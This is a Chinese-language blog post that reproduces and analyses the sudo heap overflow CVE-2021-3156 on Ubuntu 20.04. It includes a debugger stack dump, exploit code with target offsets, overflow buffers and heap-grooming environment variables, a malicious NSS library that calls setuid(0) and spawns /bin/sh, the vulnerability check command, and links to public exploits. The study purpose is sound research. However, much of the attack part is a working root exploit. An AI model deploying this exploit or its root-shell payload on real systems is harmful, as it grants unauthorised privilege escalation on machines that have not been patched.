06:0030│ 0x7ffc304d1a48 —▸ 0x7ffc304d1e76 ◂— 0x5c005c005c005c /* '\\' */
07:0038│ 0x7ffc304d1a50 —▸ 0x7ffc304d1e78 ◂— 0x5c005c005c005c /* '\\' */
...
40:0200│ 0x7ffc304d1c18 —▸ 0x7ffc304d1eea ◂— 0x5c005c005c005c /* '\\' */
41:0208│ 0x7ffc304d1c20 —▸ 0x7ffc304d1eec ◂— 0x5c005c005c005c /* '\\' */
42:0210│ 0x7ffc304d1c28 —▸ 0x7ffc304d1eee ◂— 0x2f58005c005c005c /* '\\' */
43:0218│ 0x7ffc304d1c30 —▸ 0x7ffc304d1ef0 ◂— 0x30502f58005c005c /* '\\' */
44:0220│ 0x7ffc304d1c38 —▸ 0x7ffc304d1ef2 ◂— 0x5f5030502f58005c /* '\\' */
45:0228│ 0x7ffc304d1c40 —▸ 0x7ffc304d1ef4 ◂— 'X/P0P_SH3LLZ_'
46:0230│ 0x7ffc304d1c48 —▸ 0x7ffc304d1f02 ◂— 0x433d4c4c415f434c ('LC_ALL=C')
47:0238│ 0x7ffc304d1c50 ◂— 0x0
- libc会调用
nss_load_library()
函数加载伪造库,打开getshell
的动态链接库,最终实现提权
exp生成
-
Ubuntu20.04lts的布局所需基础信息,生成
target
{ .target_name = "Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31", .sudoedit_path = "/usr/bin/sudoedit", .smash_len_a = 58, .smash_len_b = 54, .null_stomp_len = 63, .lc_all_len = 212 },
将
smash_a
填满’A’
,smash_b
填满‘B’
,最后越界位置’\\’
memset(smash_a, 'A', target->smash_len_a); memset(smash_b, 'B', target->smash_len_b); smash_a[target->smash_len_a] = '\\'; smash_b[target->smash_len_b] = '\\';
-
输入命令
argv
char *s_argv[]={ // "sudoedit", "-s", smash_a, "\\", NULL // "sudoedit", "-s", smash_a, NULL "sudoedit", "-s", smash_a, "\\", smash_b, NULL };
-
环境变量
char *s_envp[MAX_ENVP];
配置// setlocale函数运行进行堆布局 service_name与user_args // _nl_find_locale通过while循环按后到前顺序获取LC_xxx的值 // 若错误AAAAA,则释放free该值的chunk // 若正确,_nl_global_locale.__names设为赋值,赋给对应LC_xxx // 最后的环境变量LC_ALL //get_user_info函数调用nss服务运行动态库getshell int envp_pos = 0; for(int i = 0; i < (0x2b6); i++) { s_envp[envp_pos++] = "\\"; } s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
// LC_xxx环境变量,依次申请错误的AAAAA再释放 for(i = 11; i > (11 - lc_num); i--){ temp = calloc(lc_len + strlen(lc_names[i]) + 10, 1); strcpy(temp, lc_names[i]); strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@"); memset(temp+strlen(lc_names[i]) + 9, 'A'+i, lc_len); s_envp[envp_pos++] = temp; } temp = calloc(0x50 + strlen(lc_names[i]) + 10, 1); strcpy(temp, lc_names[i]); strcpy(temp + strlen(lc_names[i]), "=C.UTF-8@"); memset(temp+strlen(lc_names[i]) + 9, 'A'+i, 0x50); s_envp[envp_pos++] = temp; i -= 1;
-
自定义库
lib.c
该库实现getshell
// getshell static void _init(void) { printf("[+] bl1ng bl1ng! We got it!\n"); setuid(0); seteuid(0); setgid(0); setegid(0); static char *a_argv[] = { "sh", NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execv("/bin/sh", a_argv); }
漏洞复现
程序开启ASLR、DEP和GS
- 以非 root 用户身份登录系统,运行命令
sudoedit -s /
- 如果系统容易受到攻击,它将
sudoedit: /: not a regular file
的错误作为响应。如果在该版本漏洞已经被修复了,则以usage:
开头的错误作为响应
实际测试得到结果如下,说明存在漏洞,可继续
sudoedit -s /
sudoedit: /: not a regular file
利用的是在github上star数最多的https://github.com/blasty/CVE-2021-3156提供的代码,能够成功在普通用户test
的环境下,获取root
权限访问shell
通过make
编译后的目录结构如下:
./sudo-hax-me-a-sandwich 1
另一种布局方式:blasty
原始的exp
是用LC_ALL
此时会在sudo_conf_read
函数中调用setlocale(LC_ALL, "C"),setlocale(LC_ALL, prev_locale)
会申请和释放大量的堆块,此时也会释放_nl_global_locale.__names
中保存的堆块地址其实就是newnames
中的堆块地址也就是存储我们环境变量值的堆块,通过释放大量的0xf0
堆块进入unsorted bin
,然后再申请0x20
的时候,制造一个0xd0
大小的small bin
。此时还会有一个unsorted bin
,由于在get_user_info
会申请一个0x80,0x1000
的堆块,此时small bin,unsorted bin
会互换位置,也就是0x80
大小的堆块和group files service_user
会在unsorted bin
相邻的位置申请,非常的巧妙复杂。
0x05 漏洞&利用特点🟢
- 不同于之前了解的off by one漏洞-难点在3块chunk布局上
- 直接改写覆盖下一个chunk的内容即可
- 对程序调用的libc内函数
- 程序开启ASLR、DEP和GS的情况下,通过利用linux下nss服务和locale的特性,不需要爆破地址,也可以通过巧妙加载自定义动态链接库getshell
0x06 语义提取需求分析🟢
(按利用过程逐个分析)
- 漏洞信息获取,如何利用该溢出
\
- 非off by one
- 需要对漏洞所在函数语义逻辑的分析,通过末尾添加
\
可以越界写入
- 可控原语获取,
locale
连续进行大量释放,tcache优先alloc chunk- 提取程序到漏洞点前的堆操作,可通过输入或环境变量操控
- 可控内存
service_user
控制- 程序内&libc库的全局变量和指向它们的指针较多较复杂
- fuzz方法获取
- 如何通过输入控制它的值
get_user_info
函数 ←service_name
libnss_xxx.so.2
改写
- 如何改写可控内存实现getshell的方式(开启ASLR)
- 了解libc库nss中可进行动态库执行这个操作
0x07 个人总结
学习:
- 首次复现off by one之外的堆溢出类型
- 初次接触libc库的locale & nss的利用方式
从新的角度重新思考了堆溢出语义分析如何实施
完整经历了漏洞复现分析总结的整个过程
0xff References
Exp
https://github.com/blasty/CVE-2021-3156
https://github.com/worawit/CVE-2021-3156
https://github.com/Rvn0xsy/CVE-2021-3156-plus.git
漏洞分析&利用
https://github.com/LiveOverflow/pwnedit
CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
环境
学习
glibc TCache机制_huzai9527的博客-CSDN博客_glibc 关闭tcache
由一道CTF pwn题深入理解libc2.26中的tcache机制